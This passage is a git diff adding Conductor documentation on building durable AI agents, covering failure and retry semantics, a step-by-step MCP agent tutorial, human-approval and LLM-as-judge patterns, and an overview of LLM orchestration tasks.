+5. If all retries are exhausted, the task moves to `FAILED` terminal state. +6. The workflow's failure handling kicks in: `failureWorkflow` runs if configured, or the workflow moves to `FAILED`. + +**What is preserved:** The prompt, the error response, the retry count, and the timing of each attempt. You can inspect every failed attempt in the UI. + +**What is NOT re-executed:** Nothing upstream. Only the failed LLM call retries. All previously completed tasks retain their outputs. + +**Configuration:** + +```json +{ + "name": "plan_action", + "retryCount": 3, + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 5, + "responseTimeoutSeconds": 60 +} +``` + +This retries the LLM call up to 3 times with exponential backoff (5s, 10s, 20s). If the LLM doesn't respond within 60 seconds, the task times out and retries. + + +## LLM returns malformed output + +**Scenario:** The LLM responds, but the output is not valid JSON or doesn't match the expected schema (e.g., missing `action` field). + +**What happens:** + +The `LLM_CHAT_COMPLETE` task completes successfully — the LLM did respond. The malformed output propagates to the next task. What happens next depends on the downstream task: + +- If the next task references `${plan.output.result.action}` and `action` doesn't exist, the task fails with an input resolution error. +- The task retries according to its retry policy. +- The LLM is **not** re-called (it already completed). + +**How to handle it:** Add a `SWITCH` or `INLINE` task after the LLM call to validate the output before acting on it: + +```json +{ + "name": "validate_plan", + "taskReferenceName": "validate", + "type": "INLINE", + "inputParameters": { + "plan": "${plan.output.result}", + "evaluatorType": "graaljs", + "expression": "(function() { var p = $.plan; if (!p || !p.action) { return {valid: false, error: 'Missing action field'}; } return {valid: true, plan: p}; })()" + } +} +``` + +If validation fails, use a `SWITCH` to re-run the LLM with a corrective prompt, or fail the workflow. + + +## Tool call timeout + +**Scenario:** A `CALL_MCP_TOOL` or `HTTP` task calls an external tool and the tool doesn't respond within the configured timeout. + +**What happens:** + +1. `responseTimeoutSeconds` fires. The task moves to `TIMED_OUT`. +2. If retries are configured, the task is retried. A new request is sent to the tool. +3. The original (timed-out) request may still be in flight. The tool may eventually process it. + +**Critical implication:** The tool call may execute more than once. **Tool workers and MCP tools should be idempotent.** Use the task's `taskId` or a correlation ID as an idempotency key. + +**What is preserved:** The timed-out attempt is recorded with its input, the timeout event, and the timing. Every retry attempt is separately recorded. + + +## Tool call fails after side effects + +**Scenario:** A tool call sends an email, then the worker crashes before reporting completion. The task is retried, and the email is sent again. + +**What happens:** + +1. The worker polls the task, begins execution, and sends the email. +2. The worker crashes before calling `POST /api/tasks` to report completion. +3. `responseTimeoutSeconds` fires. The task moves to `TIMED_OUT`, then `SCHEDULED` (retry). +4. A new worker picks up the task and sends the email again. + +**This is at-least-once delivery.** Conductor guarantees the task will execute at least once, but it may execute more than once if the worker fails after performing side effects. + +**How to handle it:** + +- Make side-effecting operations idempotent. Use an idempotency key (the `taskId` is unique per attempt). +- Use the task's `updateTime` to detect redelivery — if the task was already processed, skip the side effect. +- For irreversible side effects, configure a `failureWorkflow` with compensation tasks. + + +## Human never responds + +**Scenario:** A `HUMAN` task is waiting for approval, and nobody responds. Hours pass. Days pass. + +**What happens:** + +The `HUMAN` task remains `IN_PROGRESS` in durable storage indefinitely. It does not timeout unless you explicitly configure `timeoutSeconds` on the task definition. + +- The workflow consumes no compute resources while waiting. No polling, no timers, no threads. +- The task survives server restarts, deploys, and infrastructure changes. +- The task is visible in the UI and queryable via API. + +**If you want a timeout:** Set `timeoutSeconds` and `timeoutPolicy` on the task definition: + +```json +{ + "name": "human_approval", + "timeoutSeconds": 86400, + "timeoutPolicy": "TIME_OUT_WF" +} +``` + +This times out after 24 hours and fails the workflow. Alternatively, use `timeoutPolicy: "ALERT_ONLY"` to log a timeout without failing. + +**If you want escalation:** Use a parallel `WAIT` + `HUMAN` pattern: + +```json +{ + "type": "FORK", + "forkTasks": [ + [{"type": "HUMAN", "taskReferenceName": "approval"}], + [{"type": "WAIT", "inputParameters": {"duration": "4 hours"}}, + {"type": "LLM_CHAT_COMPLETE", "taskReferenceName": "escalation_notify"}] + ] +} +``` + + +## Callback delivered twice + +**Scenario:** An external system calls the Task Update API to complete a `HUMAN` task, but the network is flaky and the call is retried. Conductor receives the completion signal twice. + +**What happens:** + +The first call moves the task from `IN_PROGRESS` to `COMPLETED` and advances the workflow. The second call arrives for a task that is already in a terminal state. + +- Conductor rejects the update. The task is already `COMPLETED`. +- No duplicate execution occurs. The workflow does not advance twice. +- The second call returns an error indicating the task is already in a terminal state. + +**This is safe by default.** Conductor's task state machine enforces that a task can only transition to a terminal state once. Duplicate callbacks are harmless. + + +## Branch partially completes in a FORK/JOIN + +**Scenario:** A `FORK/JOIN` runs three parallel branches. Branch 1 completes. Branch 2 fails. Branch 3 is still running. + +**What happens:** + +1. Branch 2 fails. Its task moves to `FAILED` and retries according to its retry policy. +2. Branch 3 continues executing independently. +3. The `JOIN` task waits for all branches to reach a terminal state. +4. If branch 2 exhausts its retries and moves to terminal `FAILED`, the `JOIN` task fails. +5. Branch 3 may still be running — it is not automatically canceled (unless the workflow is terminated). +6. The workflow's failure handling kicks in. + +**What is preserved:** Each branch's completed tasks retain their outputs. If you retry the workflow from the failed task, only the failed branch re-executes. Successful branches are not re-run. + + +## Workflow definition changes mid-flight + +**Scenario:** You update the workflow definition (add a task, change a parameter) while executions are running. + +**What happens:** + +Running executions are **not affected**. Each execution uses an immutable snapshot of the definition taken at start time. The snapshot is embedded in the execution record. + +- New executions use the updated definition. +- Running executions continue with their original definition. +- You can have multiple versions running concurrently. + +**If you want to apply the new definition:** Use [restart with latest definitions](../../architecture/durable-execution.md#replay-and-recovery). This re-executes the workflow from the beginning using the updated definition. + + +## Worker deploy during active executions + +**Scenario:** You deploy a new version of your worker code. Old worker instances are shut down, new instances start up. Tasks are in-flight. + +**What happens:** + +1. Old workers are shut down. Tasks they were processing are abandoned. +2. `responseTimeoutSeconds` fires for abandoned tasks. Tasks move to `TIMED_OUT`, then `SCHEDULED` (retry). +3. New worker instances poll for tasks and pick up the requeued tasks. +4. Execution continues. + +**Window of vulnerability:** The time between old worker shutdown and `responseTimeoutSeconds` firing. During this window, the task appears `IN_PROGRESS` but no worker is processing it. + +**How to minimize impact:** + +- Keep `responseTimeoutSeconds` short (10-60 seconds for most tasks). +- Use graceful shutdown in your workers — complete in-progress tasks before stopping. +- For the Conductor server itself: the sweeper service re-evaluates in-progress workflows on startup and requeues stalled tasks. + +**What is never lost:** Completed task outputs. The workflow state. The execution history. Only the in-progress task is affected, and it is automatically retried. + + +## Dynamic task type no longer exists + +**Scenario:** A `DYNAMIC` task resolves to a task type based on LLM output. The LLM returns a task name that doesn't exist (not registered, was deleted, or is misspelled). + +**What happens:** + +The `DYNAMIC` task fails with a resolution error — the specified task type cannot be found. The task moves to `FAILED` and retries according to its retry policy. + +**How to handle it:** Validate the LLM output before the `DYNAMIC` task. Use an `INLINE` or `SWITCH` task to check that the resolved task name is in a known allowlist. + + +## Network partition between worker and server + +**Scenario:** A worker is executing a task (e.g., an LLM call). A network partition occurs. The worker completes the task but cannot report the result to the Conductor server. + +**What happens:** + +1. The worker completes the LLM call and receives the response. +2. The worker attempts to report `COMPLETED` to the server. The request fails due to the network partition. +3. The worker retries the status update (SDK-level retry). +4. If the partition persists longer than `responseTimeoutSeconds`, the server marks the task as `TIMED_OUT` and requeues it. +5. When the partition heals, a worker (possibly the same one) picks up the task and re-executes the LLM call. + +**Tokens are consumed twice in this scenario.** The original LLM call succeeded but the result was lost. This is the cost of at-least-once delivery. For long-running or expensive LLM calls, consider implementing client-side caching in your worker to avoid re-execution. + + +## Long-running agent loops over hours/days/weeks + +**Scenario:** An autonomous agent loop runs for hours or days, with `WAIT` pauses, `HUMAN` approvals, and periodic LLM calls. + +**What happens:** + +This is a normal operating mode for Conductor. The workflow stays `RUNNING` with individual tasks in `IN_PROGRESS` (for active work) or `COMPLETED` (for finished steps). + +- `WAIT` tasks consume no resources. The durable timer fires when the duration elapses, even across deploys. +- `HUMAN` tasks consume no resources. They persist until the signal arrives. +- The `DO_WHILE` loop counter and all intermediate state survive indefinitely. +- Server restarts, worker deploys, and infrastructure changes do not affect the execution. + +**Practical limits:** + +- Execution data grows linearly with the number of completed tasks. For very long loops (thousands of iterations), consider offloading large payloads to external storage and storing only pointers in task output. See [external payload storage](../../documentation/advanced/externalpayloadstorage.md). +- Workflow-level `timeoutSeconds` applies to the total execution. Set it high enough for your expected duration, or omit it for unlimited execution time. + + +## Summary: the failure contract + +| Failure | What Conductor does | What you should do | +|---------|--------------------|--------------------| +| LLM call fails | Retries with configured backoff | Set retry policy on task definition | +| LLM returns bad output | Downstream task fails on input resolution | Add a validation step after LLM calls | +| Tool call times out | Retries after `responseTimeoutSeconds` | Make tools idempotent | +| Tool call has side effects, then crashes | Retries — side effect may execute twice | Use idempotency keys | +| Human never responds | Task stays `IN_PROGRESS` forever | Set `timeoutSeconds` or build escalation | +| Duplicate callback | Second call rejected, no duplicate execution | Safe by default | +| FORK branch fails | JOIN waits for all branches; workflow fails if branch exhausts retries | Configure retry policies per branch | +| Definition changes while running | Running executions unaffected (snapshot) | Use restart to apply new definitions | +| Worker deploy | In-flight tasks requeued after response timeout | Keep response timeouts short; use graceful shutdown | +| Dynamic task doesn't exist | Task fails, retries | Validate LLM output before DYNAMIC resolution | +| Network partition | Task requeued after timeout, may re-execute | Make workers idempotent; consider client-side caching | +| Multi-day execution | Normal operation, fully durable | Offload large payloads; set appropriate timeouts | + + +## Next steps + +- **[Production Agent Architecture](production-agent-architecture.md)** — The canonical end-to-end agent pattern. +- **[Durable Execution Semantics](../../architecture/durable-execution.md)** — The full persistence model, task state machine, and retry configuration. +- **[Why Conductor for Agents](why-conductor.md)** — What Conductor gives you out of the box for agentic workflows. +- **[Token Efficiency](token-efficiency.md)** — How durable execution saves tokens across all these failure scenarios. diff --git a/docs/devguide/ai/first-ai-agent.md b/docs/devguide/ai/first-ai-agent.md new file mode 100644 index 0000000..82a680a --- /dev/null +++ b/docs/devguide/ai/first-ai-agent.md @@ -0,0 +1,294 @@ +--- +description: "Build your first AI agent with Conductor in 5 minutes. Step-by-step tutorial: discover MCP tools, call an LLM, execute tools, add human approval, and make it autonomous — all with durable execution guarantees." +--- + +# Build your first AI agent + +**Build a durable AI agent in 5 minutes.** Your agent will discover tools, plan actions, execute them, and summarize results — with full crash recovery, observability, and human approval built in. + +**Prerequisites:** + +- Conductor running locally (`conductor server start`) +- An LLM provider API key (OpenAI or Anthropic) +- An MCP server running (we'll use a simple example below) + +## Step 1: Start an MCP server + +Your agent needs tools to call. MCP (Model Context Protocol) is the open standard for connecting AI agents to tools. Start a test MCP server — or use any MCP server you already have running. + +```bash +pip install mcp-testkit +mcp-testkit --transport http +``` + +This starts an MCP server at `http://localhost:3001/mcp` with deterministic tools for testing. You'll use this URL in the workflow definition. + +!!! tip "Any MCP server works" + Conductor connects to any MCP-compatible server. Use community MCP servers for GitHub, Slack, databases, or any API — or build your own. See the [MCP integration guide](mcp-guide.md) for details. + + +## Step 2: Configure your LLM provider + +Set your API key as an environment variable before starting the server: + +```bash +# Choose one (or both): +export OPENAI_API_KEY=sk-your-openai-key +export ANTHROPIC_API_KEY=sk-ant-your-anthropic-key +``` + +Then start (or restart) the server. Conductor auto-enables providers when their API key is set. + + +## Step 3: Create the agent workflow + +Save this as `my_first_agent.json`. This is a complete AI agent in four tasks — no custom code, no workers, no framework: + +```json +{ + "name": "my_first_agent", + "description": "AI agent that discovers tools, plans, executes, and summarizes", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["task"], + "tasks": [ + { + "name": "discover_tools", + "taskReferenceName": "discover", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp" + } + }, + { + "name": "plan_action", + "taskReferenceName": "plan", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are an AI agent. Available tools: ${discover.output.tools}. The user wants to: ${workflow.input.task}. Decide which tool to use. Respond with JSON: {\"method\": \"tool_name\", \"arguments\": {}}" + }, + { + "role": "user", + "message": "${workflow.input.task}" + } + ], + "temperature": 0.1, + "maxTokens": 500 + } + }, + { + "name": "execute_tool", + "taskReferenceName": "execute", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp", + "method": "${plan.output.result.method}", + "arguments": "${plan.output.result.arguments}" + } + }, + { + "name": "summarize_result", + "taskReferenceName": "summarize", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "user", + "message": "The user asked: ${workflow.input.task}\n\nTool result: ${execute.output.content}\n\nSummarize this clearly for the user." + } + ], + "maxTokens": 500 + } + } + ], + "outputParameters": { + "plan": "${plan.output.result}", + "toolResult": "${execute.output.content}", + "summary": "${summarize.output.result}" + } +} +``` + +**What each task does:** + +| Task | Type | Purpose | +|------|------|---------| +| `discover` | `LIST_MCP_TOOLS` | Queries the MCP server to discover available tools | +| `plan` | `LLM_CHAT_COMPLETE` | Sends the tool list + user task to the LLM, which picks a tool and arguments | +| `execute` | `CALL_MCP_TOOL` | Calls the selected tool on the MCP server | +| `summarize` | `LLM_CHAT_COMPLETE` | Summarizes the raw tool output for the user | + +Every task is a native Conductor system task. No workers to write, no code to deploy. + + +## Step 4: Register and run + +```bash +# Register the workflow +conductor workflow create my_first_agent.json + +# Run the agent synchronously — output prints directly to your terminal +curl -s -X POST 'http://localhost:8080/api/workflow/execute/my_first_agent/1' \ + -H 'Content-Type: application/json' \ + -d '{ + "task": "What is the weather in San Francisco?" + }' | jq . +``` + +Or using the CLI: + +```bash +conductor workflow start -w my_first_agent --sync --input '{"task": "What is the weather in San Francisco?"}' +``` + +Open [http://localhost:8080](http://localhost:8080) to see the execution. Click into the workflow to see each task's input, output, and timing. + +!!! success "What just happened" + Your agent discovered tools from an MCP server, asked an LLM to pick the right one, executed it, and summarized the result. Every step was persisted — if the server had crashed at any point, execution would have resumed from the last completed task. No tokens wasted, no progress lost. + + +## Step 5: Add human approval + +Real agents need guardrails. Add a `HUMAN` task between planning and execution so a person reviews the agent's plan before it acts. + +Update `my_first_agent.json` — insert this task between `plan_action` and `execute_tool`: + +```json +{ + "name": "human_review", + "taskReferenceName": "approval", + "type": "HUMAN", + "inputParameters": { + "plannedAction": "${plan.output.result}", + "userTask": "${workflow.input.task}" + } +} +``` + +Now when you run the agent, it pauses after planning and waits for human approval. Approve it via the UI or API: + +```bash +# Approve the plan (replace TASK_ID with the actual task ID from the execution) +curl -X POST 'http://localhost:8080/api/tasks' \ + -H 'Content-Type: application/json' \ + -d '{ + "workflowInstanceId": "WORKFLOW_ID", + "taskId": "TASK_ID", + "status": "COMPLETED", + "outputData": {"approved": true, "reviewer": "you"} + }' +``` + +The approval is durable — the workflow stays paused indefinitely, even across server restarts and deploys, until someone approves it. + + +## Step 6: Make it autonomous + +Turn your agent into an autonomous loop that keeps working until the task is done. Replace the linear workflow with a `DO_WHILE` loop: + +```json +{ + "name": "autonomous_agent", + "description": "Agent that loops until the task is complete", + "version": 1, + "schemaVersion": 2, + "inputParameters": ["task"], + "tasks": [ + { + "name": "discover_tools", + "taskReferenceName": "discover", + "type": "LIST_MCP_TOOLS", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp" + } + }, + { + "name": "agent_loop", + "taskReferenceName": "loop", + "type": "DO_WHILE", + "loopCondition": "if ($.loop['think'].output.result.done == true) { false; } else { true; }", + "loopOver": [ + { + "name": "think", + "taskReferenceName": "think", + "type": "LLM_CHAT_COMPLETE", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o-mini", + "messages": [ + { + "role": "system", + "message": "You are an autonomous agent. Available tools: ${discover.output.tools}. Previous results: ${loop.output.results}. Respond with JSON: {\"action\": \"tool_name\", \"arguments\": {}, \"done\": false} when you need to use a tool, or {\"answer\": \"final answer\", \"done\": true} when the task is complete." + }, + { + "role": "user", + "message": "${workflow.input.task}" + } + ], + "temperature": 0.1 + } + }, + { + "name": "act", + "taskReferenceName": "act", + "type": "SWITCH", + "evaluatorType": "javascript", + "expression": "$.think.output.result.done ? 'done' : 'call_tool'", + "decisionCases": { + "call_tool": [ + { + "name": "execute_tool", + "taskReferenceName": "tool_call", + "type": "CALL_MCP_TOOL", + "inputParameters": { + "mcpServer": "http://localhost:3001/mcp", + "method": "${think.output.result.action}", + "arguments": "${think.output.result.arguments}" + } + } + ] + }, + "defaultCase": [] + } + ] + } + ], + "outputParameters": { + "answer": "${loop.output.think.output.result.answer}", + "iterations": "${loop.output.iteration}" + } +} +``` + +Each iteration of the loop is a durable checkpoint. If the agent crashes at iteration 12, it resumes from iteration 12 — not from the beginning. Every LLM call and tool call is persisted and observable. + + +## What you built + +In 5 minutes, you built an AI agent that: + +- **Discovers tools** from any MCP server at runtime +- **Plans actions** using an LLM +- **Executes tools** with full retry and error handling +- **Supports human approval** as a durable pause +- **Loops autonomously** until the task is complete +- **Survives crashes** without losing progress or re-running LLM calls +- **Is fully observable** — every prompt, response, tool call, and decision is recorded + +All of this with zero custom code. The entire agent is a JSON workflow definition that Conductor executes with durable execution guarantees. + + +## Next steps + +- **[MCP Integration](mcp-guide.md)** — Connect to any MCP server, expose workflows as MCP tools. +- **[Human-in-the-Loop](human-in-the-loop.md)** — Advanced approval patterns: conditional review, LLM-as-judge. +- **[Dynamic Workflows](dynamic-workflows.md)** — Agents that generate their own execution plans as JSON. +- **[Token Efficiency](token-efficiency.md)** — How durable execution saves tokens and reduces LLM costs. +- **[LLM Orchestration](llm-orchestration.md)** — 12 native LLM providers, vector databases, content generation. diff --git a/docs/devguide/ai/human-in-the-loop.md b/docs/devguide/ai/human-in-the-loop.md new file mode 100644 index 0000000..bbef9bf --- /dev/null +++ b/docs/devguide/ai/human-in-the-loop.md @@ -0,0 +1,184 @@ +--- +description: Human-in-the-loop patterns for AI agents — pre-execution approval, conditional post-execution review, LLM-as-judge automated review, and durable human oversight that survives server restarts. +--- + +# Human-in-the-loop + +Production agents need oversight. Conductor's `HUMAN` task is a durable pause — the workflow stops, persists its state, and resumes only when a human responds via the Task Update API. This pause survives server restarts, deploys, and infrastructure changes. Whether the reviewer responds in 5 seconds or 5 days, the workflow state is preserved and execution resumes exactly where it left off. + +Conductor supports two distinct patterns for human oversight, plus LLM-as-judge for automated review. + + +## Pre-execution review + +The LLM plans an action and a human reviews it **before** it executes. The agent cannot proceed without approval. + +```json +[ + { + "name": "plan_action", + "type": "LLM_CHAT_COMPLETE", + "taskReferenceName": "plan", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { "role": "user", "message": "Decide what action to take for: ${workflow.input.task}" } + ] + } + }, + { + "name": "human_approval", + "type": "HUMAN", + "taskReferenceName": "approval", + "inputParameters": { + "plannedAction": "${plan.output.result}", + "reason": "Review before executing tool call" + } + }, + { + "name": "execute_action", + "type": "CALL_MCP_TOOL", + "taskReferenceName": "execute", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}", + "method": "${plan.output.result.method}", + "arguments": "${plan.output.result.arguments}" + } + } +] +``` + +Use this when the action has real-world consequences (sending emails, modifying data, making purchases) and you want a human gate before anything happens. + + +## Conditional post-execution review + +The tool executes, but the result goes to a human for review **only when a condition is met** — for example, when the confidence is low, the amount exceeds a threshold, or the output affects sensitive data. + +```json +[ + { + "name": "execute_action", + "type": "CALL_MCP_TOOL", + "taskReferenceName": "execute", + "inputParameters": { + "mcpServer": "${workflow.input.mcpServerUrl}", + "method": "${workflow.input.method}", + "arguments": "${workflow.input.arguments}" + } + }, + { + "name": "check_if_review_needed", + "type": "SWITCH", + "taskReferenceName": "review_gate", + "evaluatorType": "javascript", + "expression": "($.execute.output.confidence < 0.8 || $.execute.output.amount > 1000) ? 'needs_review' : 'auto_approve'", + "decisionCases": { + "needs_review": [ + { + "name": "human_review", + "type": "HUMAN", + "taskReferenceName": "review", + "inputParameters": { + "toolResult": "${execute.output}", + "reason": "Low confidence or high-value action" + } + } + ] + }, + "defaultCase": [] + } +] +``` + +Use this when most actions are safe to auto-approve but certain conditions require human oversight. The `SWITCH` task evaluates the condition; the `HUMAN` task only triggers when needed. + + +## LLM-as-judge: automated review + +Instead of (or in addition to) a human reviewer, you can add an LLM task to evaluate the output of another LLM or tool call. This is useful for quality checks, safety screening, or validating structured output before it proceeds. + +```json +[ + { + "name": "generate_response", + "type": "LLM_CHAT_COMPLETE", + "taskReferenceName": "response", + "inputParameters": { + "llmProvider": "anthropic", + "model": "claude-sonnet-4-20250514", + "messages": [ + { "role": "user", "message": "Draft a customer reply for: ${workflow.input.complaint}" } + ] + } + }, + { + "name": "judge_response", + "type": "LLM_CHAT_COMPLETE", + "taskReferenceName": "judge", + "inputParameters": { + "llmProvider": "openai", + "model": "gpt-4o", + "messages": [ + { + "role": "system", + "message": "You are a quality reviewer. Evaluate the response for tone, accuracy, and policy compliance. Respond with JSON: {\"approved\": true/false, \"reason\": \"...\"}" + }, + { + "role": "user", + "message": "Customer complaint: ${workflow.input.complaint}\n\nDraft response: ${response.output.result}" + } + ], + "temperature": 0.1 + } + }, + { + "name": "check_approval", + "type": "SWITCH", + "taskReferenceName": "gate", + "evaluatorType": "javascript", + "expression": "$.judge.output.result.approved ? 'approved' : 'rejected'", + "decisionCases": { + "rejected": [ + { + "name": "escalate_to_human", + "type": "HUMAN", + "taskReferenceName": "escalation", + "inputParameters": { + "draftResponse": "${response.output.result}", + "judgeReason": "${judge.output.result.reason}" + } + } + ] + }, + "defaultCase": [] + } +] +``` + +**What happens:** + +1. The first LLM generates a response. +2. A second LLM (potentially a different provider or model) reviews it for quality, tone, or policy compliance. +3. If approved, the workflow continues. If rejected, it escalates to a `HUMAN` task with the judge's reasoning attached. + +You can use different models for generation and review — for example, a fast model for drafting and a more capable model for judging. You can also chain multiple judges, or combine LLM-as-judge with human review as a final gate. Because each LLM call is a separate persisted task, the generation is never re-run if the judge or human review step fails. + + +## Combining patterns + +These patterns compose naturally. A single workflow can use all three: + +1. **LLM-as-judge** screens every output automatically. +2. **Conditional HITL** escalates to a human only when the judge rejects or confidence is low. +3. **Pre-execution review** gates high-stakes actions regardless of judge outcome. + +Because each review step is a separate persisted task, no upstream work is repeated if a review step fails or takes time. The LLM generation that took 10 seconds and cost tokens is preserved — only the review decision needs to happen. + + +## Next steps + +- **[Durable Agents](durable-agents.md)** — What persists, what gets retried, error handling, and multi-agent composition. +- **[Dynamic Workflows](dynamic-workflows.md)** — Agent loops, dynamic workflow generation, and tool use examples. +- **[HUMAN task reference](../../documentation/configuration/workflowdef/systemtasks/human-task.md)** — Full configuration options for the HUMAN system task. diff --git a/docs/devguide/ai/index.md b/docs/devguide/ai/index.md new file mode 100644 index 0000000..f760241 --- /dev/null +++ b/docs/devguide/ai/index.md @@ -0,0 +1,91 @@ +--- +description: AI agent orchestration and LLM orchestration with Conductor — LLM tasks with function calling, tool use via MCP, human-in-the-loop approval, dynamic workflows, vector database workflows, and saga pattern compensation. The open source workflow engine for AI agents. +--- + +# AI Cookbook + +Conductor is not an AI framework. It is a durable execution engine that provides AI agent orchestration and LLM orchestration by solving the hard infrastructure problems that AI agents create: long-running processes, unreliable external calls, function calling and tool use, human-in-the-loop approval, structured output, and the need to survive failures across any of these steps. Conductor makes every agent a durable agent — one that survives crashes, retries, and infrastructure failures without losing progress. + + +## The problem agents create + +An AI agent is a long-running process that: + +1. **Calls an LLM** to decide what to do next. +2. **Calls tools** (APIs, databases, other services) to take action. +3. **Waits** for external events, human approval, or time-based delays. +4. **Loops** through plan/act/observe cycles until a goal is reached. +5. **Returns structured output** to the caller or another system. + +Each of these steps can fail, take minutes to hours, or require intervention. Running this in a single process means any crash loses all progress. Running it in a queue means building your own state machine, retry logic, and observability. Conductor provides all of this out of the box. + + +## How it works + +```mermaid +graph LR + A[Your Agent Code] -->|start workflow| B[Conductor Server] + B -->|schedule tasks| C[Task Queue] + C -->|poll| D[LLM Worker] + C -->|poll| E[Tool Worker] + C -->|poll| F[MCP Worker] + B -->|persist every step| G[(Durable Storage)] + B -->|pause & resume| H[HUMAN / WAIT] + H -->|API call or signal| B + D -->|result| B + E -->|result| B + F -->|result| B +``` + +Your agent code starts a workflow. Conductor schedules each step as a task, persists every input and output to durable storage, and manages retries, timeouts, and pauses. Workers (LLM calls, tool calls, MCP calls) poll for tasks, execute them, and return results. If any worker or the server itself crashes, execution resumes from the last completed step. + + +## How Conductor's primitives map to agent patterns + +| Agent pattern | Conductor primitive | What happens mechanically | +|---|---|---| +| **LLM call** | `LLM_CHAT_COMPLETE` / `LLM_TEXT_COMPLETE` system task | Native LLM task. Configure provider and model as parameters. Retried on failure. Prompt, response, and token usage persisted. Supports built-in tools: web search, code execution, file search, extended thinking. | +| **Embeddings** | `LLM_GENERATE_EMBEDDINGS` system task | Generate vector embeddings using any configured provider. Output stored and passed to downstream tasks. | +| **Tool call / function calling** | `CALL_MCP_TOOL` system task, or `SIMPLE` / `HTTP` task | Call tools on any MCP server, or implement custom tool workers. Each call is tracked, retried on failure, and fully auditable. | +| **Tool discovery** | `LIST_MCP_TOOLS` system task | Discover available tools from an MCP server at runtime. Feed the tool list to an LLM for dynamic tool selection. | +| **RAG / semantic search** | `LLM_INDEX_TEXT` + `LLM_SEARCH_INDEX` system tasks | Index documents and run semantic search against Pinecone, pgvector, or MongoDB Atlas. No external RAG framework needed. | +| **Wait for human approval** | `HUMAN` task | Workflow pauses. Remains `IN_PROGRESS` in persistent storage. Resumes when the Task Update API is called with approval/rejection. Survives deploys. | +| **Wait for external event** | `WAIT` task (time-based) or `HUMAN` task with event handler | Durable pause. Timer or signal resolution survives server restarts. | +| **Wait for webhook** | `HUMAN` task + webhook endpoint | External system calls the Task Update API with payload. Workflow resumes with that payload as task output. | +| **Plan/act/observe loop** | `DO_WHILE` operator | Loop until a condition is met. Each iteration is a persisted step. The loop counter and state survive failures. | +| **Dynamic tool selection** | `DYNAMIC` task or `DYNAMIC_FORK` | The LLM output determines which task(s) to run next. Conductor resolves the task type at runtime. | +| **Multi-agent / sub-agent** | `SUB_WORKFLOW` task | Spawn a child agent as a sub-workflow. Parent waits for completion. Failure in a child can trigger compensation in the parent. Full observability across the entire agent tree. | +| **Rollback on failure** | `failureWorkflow` + compensation pattern | When an agent fails after taking real-world actions, a failure workflow runs compensating tasks (undo API calls, send notifications, release resources). | +| **Structured output** | Workflow `outputParameters` | Map task outputs to a structured JSON response using Conductor's expression syntax. | +| **Expose as API** | Conductor REST API: `POST /api/workflow/{name}` | Any workflow is callable via HTTP. Start synchronously or asynchronously. Get structured output back. | +| **Expose as MCP tool** | MCP Gateway integration | Register any workflow as an MCP tool. LLMs and agents invoke it directly via `LIST_MCP_TOOLS` / `CALL_MCP_TOOL` and receive structured output. | + + +## What you'd have to build without Conductor + +If you run agents on a framework like LangChain, CrewAI, or LangGraph without a durable execution backend, you are responsible for: + +- **State persistence** — Checkpointing agent progress so crashes don't restart from zero. +- **Retry logic** — Retrying failed LLM and tool calls with backoff, deduplication, and timeout handling. +- **Human-in-the-loop** — Building a pause/resume mechanism that survives process restarts and deploys. +- **Compensation** — Rolling back side effects (sent emails, created records, charged payments) when a downstream step fails. +- **Observability** — Logging every LLM prompt, response, tool call, and decision in a queryable, auditable format. +- **Multi-agent coordination** — Managing parent-child lifecycle, failure propagation, and shared state across sub-agents. +- **Scalability** — Distributing work across multiple worker processes and scaling them independently. + +Conductor provides all of this as infrastructure. Your agent code focuses on the logic — what to ask the LLM, which tools to call, what to do with the results. + + +## Next steps + +- **[Build Your First AI Agent](first-ai-agent.md)** — Step-by-step: discover MCP tools, call an LLM, execute, add human approval, make it autonomous. 5 minutes. +- **[AI & LLM Recipes](../cookbook/ai-llm.md)** — Ready-to-use recipes: chat completion, RAG, MCP agents, web search, code execution, coding agents, extended thinking, and more. +- **[LLM Orchestration](llm-orchestration.md)** — Native LLM providers, built-in tools, vector databases, and content generation. +- **[MCP Integration](mcp-guide.md)** — Connect to any MCP server, expose workflows as MCP tools, multi-server agents. +- **[Production Agent Architecture](production-agent-architecture.md)** — The canonical reference architecture for a durable production agent. End-to-end pattern with every primitive mapped. +- **[Failure Semantics for AI Agents](failure-semantics.md)** — The exact failure contract: what happens under crashes, retries, duplicates, long waits, and partial side effects. +- **[Why Conductor for Agents](why-conductor.md)** — What Conductor gives you out of the box for agentic workflows. +- **[Durable Agents](durable-agents.md)** — What persists, what gets retried, and why JSON is AI-native. +- **[Human-in-the-Loop](human-in-the-loop.md)** — Pre-execution review, conditional approval, and LLM-as-judge patterns. +- **[Dynamic Workflows](dynamic-workflows.md)** — Agent loops, dynamic workflow generation, and tool use examples. +- **[Token Efficiency](token-efficiency.md)** — How durable execution saves tokens and reduces LLM costs. diff --git a/docs/devguide/ai/llm-orchestration.md b/docs/devguide/ai/llm-orchestration.md new file mode 100644 index 0000000..51c9b2e --- /dev/null +++ b/docs/devguide/ai/llm-orchestration.md @@ -0,0 +1,231 @@ +--- +description: Native LLM orchestration with Conductor — supported LLM providers, vector database integration for RAG pipelines, and multimodal content generation tasks. +--- + +# LLM orchestration + +Conductor provides native system tasks for LLM orchestration and integration. No external frameworks or custom workers required — configure a provider and use it in any workflow. Each provider supports function calling via MCP tool integration. + +## Supported LLM providers + +| Provider | Chat Completion | Text Completion | Embeddings | +|---|---|---|---| +| Anthropic (Claude) | ✓ | ✓ | — | +| OpenAI (GPT) | ✓ | ✓ | ✓ | +| Azure OpenAI | ✓ | ✓ | ✓ | +| Google Gemini | ✓ | ✓ | ✓ | +| AWS Bedrock | ✓ | ✓ | ✓ | +| Mistral | ✓ | ✓ | ✓ | +| Cohere | ✓ | ✓ | ✓ | +| HuggingFace | ✓ | ✓ | ✓ | +| Ollama | ✓ | ✓ | ✓ | +| 